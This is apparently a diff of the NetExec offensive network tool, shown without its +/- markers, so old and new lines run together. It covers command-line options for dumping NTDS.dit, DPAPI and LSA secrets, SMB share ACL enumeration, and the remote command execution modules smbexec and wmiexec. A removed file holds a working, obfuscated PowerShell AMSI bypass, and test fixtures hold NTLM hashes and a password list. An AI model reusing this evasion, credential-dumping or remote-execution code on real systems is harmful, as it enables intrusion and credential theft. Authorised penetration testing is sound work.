cgroup.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help='dump DPAPI secrets from target systems, can dump cookies if you add "cookies", will not dump SYSTEM dpapi if you add nosystem\n')
mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
mapping_enum_group.add_argument("--shares", nargs="?", default=False, const=True, help="enumerate shares and access")
mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'")
mapping_enum_group.add_argument("--sessions", action="store_true", help="enumerate active sessions")
mapping_enum_group.add_argument("--disks", action="store_true", help="enumerate disks")
mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
mapping_enum_group.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users")
mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
mapping_enum_group.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated")
mapping_enum_group.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users")
mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy")
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
wmi_group = smb_parser.add_argument_group("WMI", "Options for WMI Queries")
wmi_group.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query")
wmi_group.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", help="WMI Namespace")
ngroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
ngroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
ngroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
ngroup.add_argument("--enabled", action="store_true", help="Only dump enabled targets from DC")
ngroup.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC")
spidering_group = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
spidering_group.add_argument("--spider", metavar="SHARE", type=str, help="share to spider")
spidering_group.add_argument("--spider-folder", metavar="FOLDER", default=".", type=str, help="folder to spider")
spidering_group.add_argument("--content", action="store_true", help="enable file content searching")
spidering_group.add_argument("--exclude-dirs", type=str, metavar="DIR_LIST", default="", help="directories to exclude from spidering")
spidering_group.add_argument("--depth", type=int, help="max spider recursion depth")
spidering_group.add_argument("--only-files", action="store_true", help="only spider files")
segroup = spidering_group.add_mutually_exclusive_group()
egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
egroup.add_argument("--shares", action="store_true", help="enumerate shares and access")
egroup.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
egroup.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'")
egroup.add_argument("--sessions", action="store_true", help="enumerate active sessions")
egroup.add_argument("--disks", action="store_true", help="enumerate disks")
egroup.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
egroup.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users")
egroup.add_argument("--users", nargs="*", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
egroup.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated")
egroup.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users")
egroup.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
egroup.add_argument("--pass-pol", action="store_true", help="dump password policy")
egroup.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RID's (default: 4000)")
egroup.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query")
egroup.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", help="WMI Namespace (default: root\\cimv2)")
sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
sgroup.add_argument("--spider", metavar="SHARE", type=str, help="share to spider")
sgroup.add_argument("--spider-folder", metavar="FOLDER", default=".", type=str, help="folder to spider (default: root share directory)")
sgroup.add_argument("--content", action="store_true", help="enable file content searching")
sgroup.add_argument("--exclude-dirs", type=str, metavar="DIR_LIST", default="", help="directories to exclude from spidering")
segroup = sgroup.add_mutually_exclusive_group()
segroup.add_argument("--pattern", nargs="+", help="pattern(s) to search for in folders, filenames and file content")
segroup.add_argument("--regex", nargs="+", help="regex(s) to search for in folders, filenames and file content")
sgroup.add_argument("--depth", type=int, default=None, help="max spider recursion depth (default: infinity & beyond)")
sgroup.add_argument("--only-files", action="store_true", help="only spider files")
files_group = smb_parser.add_argument_group("Files", "Options for remote file interaction")
files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
cmd_exec_group = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
cmd_exec_group.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode")
cmd_exec_group.add_argument("--dcom-timeout", help="DCOM connection timeout", type=int, default=5)
cmd_exec_group.add_argument("--get-output-tries", help="Number of times atexec/smbexec/mmcexec tries to get results", type=int, default=10)
cmd_exec_group.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
cmd_exec_group.add_argument("--no-output", action="store_true", help="do not retrieve command output")
cmd_exec_method_group = cmd_exec_group.add_mutually_exclusive_group()
cmd_exec_method_group.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified CMD command")
cmd_exec_method_group.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
posh_group = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
posh_group.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
posh_group.add_argument("--amsi-bypass", nargs=1, metavar="FILE", help="File with a custom AMSI bypass")
posh_group.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
posh_group.add_argument("--force-ps32", action="store_true", help="force PowerShell commands to run in a 32-bit process (may not apply to modules)")
posh_group.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target")
tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files")
tgroup.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
tgroup.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
tgroup.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None, help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
cgroup.add_argument("--dcom-timeout", help="DCOM connection timeout, default is 5 secondes", type=int, default=5)
cgroup.add_argument("--get-output-tries", help="Number of times atexec/smbexec/mmcexec tries to get results, default is 5", type=int, default=5)
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output (default: utf-8). If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
cgroup.add_argument("--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
cegroup = cgroup.add_mutually_exclusive_group()
cegroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified CMD command")
cegroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
psgroup = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
psgroup.add_argument("--amsi-bypass", nargs=1, metavar="FILE", help="File with a custom AMSI bypass")
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
return parser
+3 -5
View File
@@ -78,11 +78,10 @@ class UserSamrDump:
if resp2["ErrorCode"] != 0:
raise Exception("Connect error")
domain_name = resp2["Buffer"]["Buffer"][0]["Name"]
resp3 = samr.hSamrLookupDomainInSamServer(
self.dce,
serverHandle=resp["ServerHandle"],
name=domain_name,
name=resp2["Buffer"]["Buffer"][0]["Name"],
)
if resp3["ErrorCode"] != 0:
raise Exception("Connect error")
@@ -133,7 +132,7 @@ class UserSamrDump:
# set these for the while loop
enumerationContext = enumerate_users_resp["EnumerationContext"]
status = enumerate_users_resp["ErrorCode"]
self.print_user_info(users, domain_name)
self.print_user_info(users)
self.dce.disconnect()
def get_user_info(self, domain_handle, user_ids):
@@ -166,8 +165,7 @@ class UserSamrDump:
samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"])
return users
def print_user_info(self, users, domain_name):
self.logger.display(f"Enumerated {len(users):d} local users: {domain_name}")
def print_user_info(self, users):
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
for user in users:
self.logger.debug(f"Full user info: {user}")
-144
View File
@@ -1,144 +0,0 @@
from nxc.protocols import smb
from impacket.smbconnection import SMBConnection, SessionError
from impacket.smb import SharedFile
from impacket.dcerpc.v5 import transport, lsat, lsad
from winacl.dtyp.security_descriptor import SECURITY_DESCRIPTOR
from winacl.functions.constants import SE_OBJECT_TYPE
from winacl.dtyp.ace import FILE_ACCESS_MASK
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
from termcolor import colored
from typing import List
class SMB_Share_Enumeration:
def __init__(self, nxc_conn: smb, smb_conn: SMBConnection):
self.nxc_conn = nxc_conn
self.smb_conn = smb_conn
self.logger = nxc_conn.logger
def enumerate_path(self, path: str):
self.share = path.split(":")[0]
self.path = path.split(":")[1]
self.shares = [share["shi1_netname"][:-1] for share in self.nxc_conn.conn.listShares()]
if self.share not in self.shares:
self.logger.fail(f"Share {self.share} not found")
return
else:
self.logger.display(f"Enumerating ACLs on share: {self.share}")
self.enumerate_files(self.share, self.path, recursive=True)
def enumerate_files(self, share, path: str, recursive: bool = False):
"""Recursive function that enumerates the directories"""
self.logger.debug(f"Trying to enumrate files in {path}")
if path[-2:] not in ["\\", "/"]:
path += "/"
path.replace("\\", "/")
try:
file_list: List[SharedFile] = self.smb_conn.listPath(share, path + "*")
for file in file_list:
if (
file.is_directory()
and not file.is_system()
and file.get_longname() not in [".", ".."]
and recursive
):
next_path = path + file.get_longname() + "/"
self.enumerate_files(share, next_path, recursive=True)
if not file.is_directory() and not file.is_system():
self.logger.debug(f"File Found {file.get_longname()}")
self.get_security_descriptor(file, share, path)
except SessionError as e:
self.logger.error(e)
def get_security_descriptor(self, file, share, path, filters=None):
"""Retrieving the security descriptor of a certain file on a share"""
tree_id = self.smb_conn.connectTree(share)
dce = self.get_dce_from_smb()
desired_access = 0x00020000 # READ_CONTROL
share_mode = 0x00000001 # FILE_SHARE_READ
create_options = 0x00000040 # FILE_NON_DIRECTORY_FILE
file_attrs = 0
create_disposition = 0x00000001 # FILE_DIRECTORY_FILE
file_full_path = path + file.get_longname()
try:
file_id = self.smb_conn.createFile(
tree_id,
file_full_path,
desiredAccess=desired_access,
shareMode=share_mode,
creationOption=create_options,
creationDisposition=create_disposition,
fileAttributes=file_attrs,
impersonationLevel=0x00000002, # Impersonation
)
security_descriptor = self.smb_conn._SMBConnection.query_sec_info(tree_id, file_id)
security_descriptor_obj = SECURITY_DESCRIPTOR.from_bytes(
security_descriptor, object_type=SE_OBJECT_TYPE.SE_FILE_OBJECT
)
if filters:
for _filter, values in filters.items():
if _filter == "owner" and str(security_descriptor_obj.Owner) not in values:
return
if _filter == "group" and str(security_descriptor_obj.Group) not in values:
return
if _filter == "ace_sid":
sids = [str(_ace.Sid) for _ace in security_descriptor_obj.Dacl.aces]
for sid in values:
if sid in sids:
continue
else:
return
if _filter == "ace_mask":
masks = [FILE_ACCESS_MASK(_ace.Mask).name for _ace in security_descriptor_obj.Dacl.aces]
for mask in values:
if mask in masks:
continue
else:
return
self.logger.success(file_full_path)
# Also get the user's group to mark it as Owned
# self.smb_conn._SMBConnection._SMB__userName
username = self.smb_conn._SMBConnection._SMB__userName
owner = self.lookup_sid(dce, str(security_descriptor_obj.Owner))
if owner == username:
owner = owner + colored("Pwn3d!", "red")
group = self.lookup_sid(dce, str(security_descriptor_obj.Group))
self.logger.highlight(f"\t Owner: {owner}")
self.logger.highlight(f"\t Group: {group}")
self.logger.highlight(f"\t SACL: {security_descriptor_obj.Sacl}")
if security_descriptor_obj.Dacl is not None:
self.logger.highlight("\t ACEs:")
for ace in security_descriptor_obj.Dacl.aces:
ace_sid_name = self.lookup_sid(dce, str(ace.Sid))
mask_formatted = FILE_ACCESS_MASK(ace.Mask).name
if mask_formatted is None:
continue
owned = colored(" (Own3d!)", "red") if ace_sid_name == username else ""
self.logger.highlight(f"\t\t {ace_sid_name} - {mask_formatted}{owned}")
except SessionError as e:
self.logger.debug(e)
def get_dce_from_smb(self):
string_binding = rf"ncacn_np:{self.nxc_conn.remoteName}[\pipe\lsarpc]"
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.set_dport(self.nxc_conn.port)
rpctransport.setRemoteHost(self.nxc_conn.host)
rpctransport.set_credentials(self.nxc_conn.username, self.nxc_conn.password, self.nxc_conn.domain, self.nxc_conn.lmhash, self.nxc_conn.nthash)
return rpctransport.get_dce_rpc()
def lookup_sid(self, dce, sid):
dce.connect()
dce.bind(lsat.MSRPC_UUID_LSAT)
policy_response = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
policy_handle = policy_response["PolicyHandle"]
sid_response = lsat.hLsarLookupSids(dce, policy_handle, [sid],lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
sid_name = sid_response["TranslatedNames"]["Names"][0]["Name"]
dce.disconnect()
return sid_name
+11 -22
View File
@@ -3,7 +3,6 @@ from os.path import join as path_join
from time import sleep
from impacket.dcerpc.v5 import transport, scmr
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
@@ -96,11 +95,13 @@ class SMBEXEC:
command = self.__shell + "echo " + data + f" ^> \\\\%COMPUTERNAME%\\{self.__share}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
batch_file.write(command)
self.logger.debug("Hosting batch file with command: " + command)
self.logger.debug("Command to execute: " + command)
self.logger.debug(f"Remote service {self.__serviceName} created.")
try:
@@ -137,35 +138,23 @@ class SMBEXEC:
if self.__retOutput is False:
self.__outputBuffer = ""
return
# TODO: It looks like the service is hanging anyway until the command is finished, so all this timeout logic is likely not needed
# Still adding this for now to keep the structure similar until we can confirm the above
tries = 0
tries = 1
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries > self.__tries:
if tries >= self.__tries:
self.logger.fail("SMBEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
self.logger.fail(f"SMBEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...")
if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
# Output not finished, let's wait
sleep(2)
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(str(e))
@@ -180,7 +169,7 @@ class SMBEXEC:
command = self.__shell + data + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}" if self.__retOutput else self.__shell + data
with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
batch_file.write(command)
self.logger.debug("Hosting batch file with command: " + command)
@@ -215,7 +204,7 @@ class SMBEXEC:
while True:
try:
with open(path_join(TMP_PATH, self.__output), "rb") as output:
with open(path_join("/tmp", "nxc_hosted", self.__output), "rb") as output:
self.output_callback(output.read())
break
except OSError:
+7 -19
View File
@@ -140,36 +140,24 @@ class WMIEXEC:
self.__outputBuffer = ""
return
tries = 0
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
tries = 1
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries > self.__tries:
self.logger.fail("wmiexec: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method")
if tries >= self.__tries:
self.logger.fail("WMIEXEC: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method")
break
elif "STATUS_BAD_NETWORK_NAME" in str(e):
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
self.logger.fail(f"SMB connection: target has blocked {self.__share} access (maybe command executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
elif "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...")
sleep(1)
if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
sleep(2)
tries += 1
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(f"Exception when trying to read output file: {e}")
self.logger.debug(str(e))
if self.__outputBuffer:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
-6
View File
@@ -195,10 +195,8 @@ class ssh(connection):
username=username,
passphrase=password if password != "" else None,
key_filename=private_key if private_key else self.args.key_file,
timeout=self.args.ssh_timeout,
look_for_keys=False,
allow_agent=False,
banner_timeout=self.args.ssh_timeout,
)
cred_id = self.db.add_credential(
@@ -215,10 +213,8 @@ class ssh(connection):
port=self.port,
username=username,
password=password,
timeout=self.args.ssh_timeout,
look_for_keys=False,
allow_agent=False,
banner_timeout=self.args.ssh_timeout,
)
cred_id = self.db.add_credential("plaintext", username, password)
@@ -230,8 +226,6 @@ class ssh(connection):
except SSHException as e:
if "Invalid key" in str(e):
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, error: {e}")
if "Error reading SSH protocol banner" in str(e):
self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}")
else:
self.logger.exception(e)
except Exception as e:
+12 -9
View File
@@ -1,19 +1,22 @@
from argparse import _StoreAction
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
ssh_parser = parser.add_parser("ssh", help="own stuff using SSH", parents=parents, formatter_class=DisplayDefaultsNotNone)
def proto_args(parser, std_parser, module_parser):
ssh_parser = parser.add_parser("ssh", help="own stuff using SSH", parents=[std_parser, module_parser])
ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key. Treats the password parameter as the key's passphrase.")
ssh_parser.add_argument("--port", type=int, default=22, help="SSH port")
ssh_parser.add_argument("--ssh-timeout", help="SSH connection timeout", type=int, default=15)
ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)")
ssh_parser.add_argument("--ssh-timeout", help="SSH connection timeout, default is %(default)s secondes", type=int, default=15)
sudo_check_arg = ssh_parser.add_argument("--sudo-check", action="store_true", help="Check user privilege with sudo")
sudo_check_method_arg = ssh_parser.add_argument("--sudo-check-method", action=get_conditional_action(_StoreAction), make_required=[], choices={"sudo-stdin", "mkfifo"}, default="sudo-stdin", help="method to do with sudo check (mkfifo is non-stable, probably you need to execute once again if it failed)'")
ssh_parser.add_argument("--get-output-tries", type=int, default=5, help="Number of times with sudo command tries to get results")
sudo_check_method_arg = ssh_parser.add_argument("--sudo-check-method", action=get_conditional_action(_StoreAction), make_required=[], choices={"sudo-stdin", "mkfifo"}, default="sudo-stdin", help="method to do with sudo check, default is '%(default)s (mkfifo is non-stable, probably you need to execute once again if it failed)'")
ssh_parser.add_argument("--get-output-tries", help="Number of times with sudo command tries to get results, default is %(default)s", type=int, default=5)
sudo_check_method_arg.make_required.append(sudo_check_arg)
cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
cgroup.add_argument("--codec", default="utf-8",
help="Set encoding used (codec) from the target's output (default "
"'utf-8'). If errors are detected, run chcp.com at the target, "
"map the result with "
"https://docs.python.org/3/library/codecs.html#standard-encodings and then execute "
"again with --codec and the corresponding codec")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
+3 -6
View File
@@ -1,9 +1,6 @@
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
vnc_parser = parser.add_parser("vnc", help="own stuff using VNC", parents=parents, formatter_class=DisplayDefaultsNotNone)
vnc_parser.add_argument("--port", type=int, default=5900, help="VNC port")
def proto_args(parser, std_parser, module_parser):
vnc_parser = parser.add_parser("vnc", help="own stuff using VNC", parents=[std_parser, module_parser])
vnc_parser.add_argument("--port", type=int, default=5900, help="Custom VNC port")
vnc_parser.add_argument("--vnc-sleep", type=int, default=5, help="VNC Sleep on socket connection to avoid rate limit")
egroup = vnc_parser.add_argument_group("Screenshot", "VNC Server")
+6 -8
View File
@@ -1,11 +1,9 @@
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
winrm_parser = parser.add_parser("winrm", help="own stuff using WINRM", parents=parents, formatter_class=DisplayDefaultsNotNone)
def proto_args(parser, std_parser, module_parser):
winrm_parser = parser.add_parser("winrm", help="own stuff using WINRM", parents=[std_parser, module_parser])
winrm_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
winrm_parser.add_argument("--port", nargs="+", default=["5985", "5986"], help="WinRM port - format: 'http-port https-port'(with space separated) or 'single-port' (http & https will use same port when given single port)")
winrm_parser.add_argument("--check-proto", nargs="+", default=["http", "https"], help="Choose what prorocol you want to check - format: 'http https'(with space separated) or 'single-protocol'")
winrm_parser.add_argument("--port", nargs="+", default=["5985", "5986"], help="Custom WinRM port, default is %(default)s, format: 'http-port https-port'(with space separated) or 'single-port'"
"(http & https will use same port when given single port)")
winrm_parser.add_argument("--check-proto", nargs="+", default=["http", "https"], help="Choose what prorocol you want to check, default is %(default)s, format: 'http https'(with space separated) or 'single-protocol'")
winrm_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
winrm_parser.add_argument("--http-timeout", dest="http_timeout", type=int, default=10, help="HTTP timeout for WinRM connections")
@@ -19,7 +17,7 @@ def proto_args(parser, parents):
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output (default: utf-8). If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
+2 -2
View File
@@ -1,5 +1,5 @@
def proto_args(parser, parents):
wmi_parser = parser.add_parser("wmi", help="own stuff using WMI", conflict_handler="resolve", parents=parents)
def proto_args(parser, std_parser, module_parser):
wmi_parser = parser.add_parser("wmi", help="own stuff using WMI", parents=[std_parser, module_parser], conflict_handler="resolve")
wmi_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
wmi_parser.add_argument("--port", type=int, choices={135}, default=135, help="WMI port (default: 135)")
wmi_parser.add_argument("--rpc-timeout", help="RPC/DCOM(WMI) connection timeout, default is %(default)s seconds", type=int, default=2)
Generated
+4 -4
View File
@@ -2310,13 +2310,13 @@ watchdog = ["watchdog (>=2.3)"]
[[package]]
name = "winacl"
version = "0.1.9"
version = "0.1.8"
description = "ACL/ACE/Security Descriptor manipulation library in pure Python"
optional = false
python-versions = ">=3.6"
files = [
{file = "winacl-0.1.9-py3-none-any.whl", hash = "sha256:31ba781a35f3b1bd3c2ece994816c0a5fe113c73018689ab6118010ac0d15099"},
{file = "winacl-0.1.9.tar.gz", hash = "sha256:af70c2ec30178bf9e3c8a1c48c25e8781235fe2c1b321adb46e2f2ae1f8d4aab"},
{file = "winacl-0.1.8-py3-none-any.whl", hash = "sha256:f17028422c0b2dc6752c801350d37878919804728b776289521dc83622982a45"},
{file = "winacl-0.1.8.tar.gz", hash = "sha256:44271a302562de51629f68ef1540d40f3a26e7bc0173646b01a6779cedad644c"},
]
[package.dependencies]
@@ -2351,4 +2351,4 @@ testing = ["big-O", "jaraco.functools", "jaraco.itertools", "more-itertools", "p
[metadata]
lock-version = "2.0"
python-versions = "^3.8.0"
content-hash = "87a6d3ee944dc3aa0122c51ec72fbdc6e6070eda5b812232a1c84ca967f9397e"
content-hash = "7bde962ed54681c55a1249f2f8272ebf64109417f2a28293eab3eea90ce05c6f"
+1 -2
View File
@@ -1,6 +1,6 @@
[tool.poetry]
name = "netexec"
version = "1.2.0"
version = "1.1.0"
description = "The Network Execution tool"
authors = [
"Marshall Hallenbeck <[email protected]>",
@@ -64,7 +64,6 @@ rich = "^13.3.5"
sqlalchemy = "^2.0.4"
termcolor = ">=2.4.0"
terminaltables = "^3.1.0"
winacl = "^0.1.9"
xmltodict = "^0.13.0"
[tool.poetry.group.dev.dependencies]
-1
View File
@@ -8,5 +8,4 @@
* Install nxc (either in venv or via Poetry): `poetry install --with dev`
* Run `python tests/e2e_tests.py -t $IP -u $USER -p $PASS`, with optional `-k` parameter
* Poetry: `poetry run python tests/e2e_tests.py -t $IP -u $USER -p $PASS`
* For testing standalone binaries (e.g. windows) run: `python tests/e2e_tests.py --executable dist/nxc.exe -t $IP -u $USER -p $PASS`
* To see full errors (that might show real errors not caught by checking the exit code), run with the `--errors` flag
-4
View File
@@ -1,4 +0,0 @@
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
}catch{}
-6
View File
@@ -1,6 +0,0 @@
DEADBEEFDEADBEEFDEADBEEFDEADBEEF
DEADBEEFDEADBEEFDEADBEEFDEADBEEF:DEADBEEFDEADBEEFDEADBEEFDEADBEEF
TooShort
ToooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooLong
fc525c9683e8fe067095ba2ddc971889
aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
+1 -2
View File
@@ -1,5 +1,4 @@
Passw0rd!
None
ftp
guest
iamthekingoftheworld
guest
+1 -2
View File
